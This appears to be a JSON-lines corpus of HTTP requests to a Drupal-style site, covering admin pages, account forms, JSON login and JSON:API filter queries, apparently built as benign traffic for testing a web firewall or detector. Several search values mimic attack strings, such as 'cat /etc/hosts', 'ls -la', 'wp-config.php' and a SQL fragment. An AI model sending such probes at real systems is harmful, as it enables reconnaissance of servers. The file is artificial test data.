{"method": "GET", "target": "/admin/reports/page-not-found", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/comment/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/comment/1/delete", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/media/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/media", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dtaxonomy_term%3Alocation%3Dpage%26name%3Dtaxonomy_term%26display_id%3Dpage_1%26langcode%3Den&ids%5B%5D=taxonomy_term%3Ataxonomy_term%3D1%3Achanged%3D1794214658%26langcode%3Den&ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&tokens%5B%5D=GAe0zLesmOPq7bQZ_NH5jfUk6MU99eEngNvruqUxOgw&tokens%5B%5D=rydUkwhJOkTb6iVeuq6z0HGrGVXmL37cXZOt5fmvGkY&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo"}
|
||||
{"method": "GET", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=hello%20world&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=python3&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=powershell&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=ls%20-la&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=.htaccess&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=wp-config.php&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=docker-compose.yml&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=cat%20%2Fetc%2Fhosts&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/user?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/search/node?keys=SELECT%20rows%20FROM%20table&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-2mqij9gEz7sEEx0AFXDMNhEi7UGMmIKDKOtaH__AdcM&form_token=4rgwkD4H8ojOv1RvJymJhN4_mA6DPv6hOdwHxXCOjMM&form_id=user_logout_confirm&op=Log+out"}
|
||||
{"method": "GET", "target": "/search?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/search?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryS0AxXBAlk7QxCkUx", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"mail\"\r\n\r\nnew.person@example.com\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nnew_person\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"user_picture[0][display]\"\r\n\r\n1\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-Ylo4JYJ_UfFvdR3PaUXBHi1yzjp7M4C4e1XY6hAE1y0\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nuser_register_form\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nCreate new account\r\n------WebKitFormBoundaryS0AxXBAlk7QxCkUx--\r\n"}
|
||||
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "name=new.person%40example.com&form_build_id=form-Zkr9kQgDYORrLzpGPYPnF0LHbbHjoangOOgglubhsdE&form_id=user_pass&op=Submit"}
|
||||
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"admin\", \"pass\": \"example-password-1\"}"}
|
||||
{"method": "GET", "target": "/user/login_status?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/session/token", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/page", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?include=uid,field_tags,field_image&sort=-created,title&page%5Blimit%5D=10&page%5Boffset%5D=0&fields%5Bnode--article%5D=title,body,created", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=hello%20world&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=python3&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=powershell&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
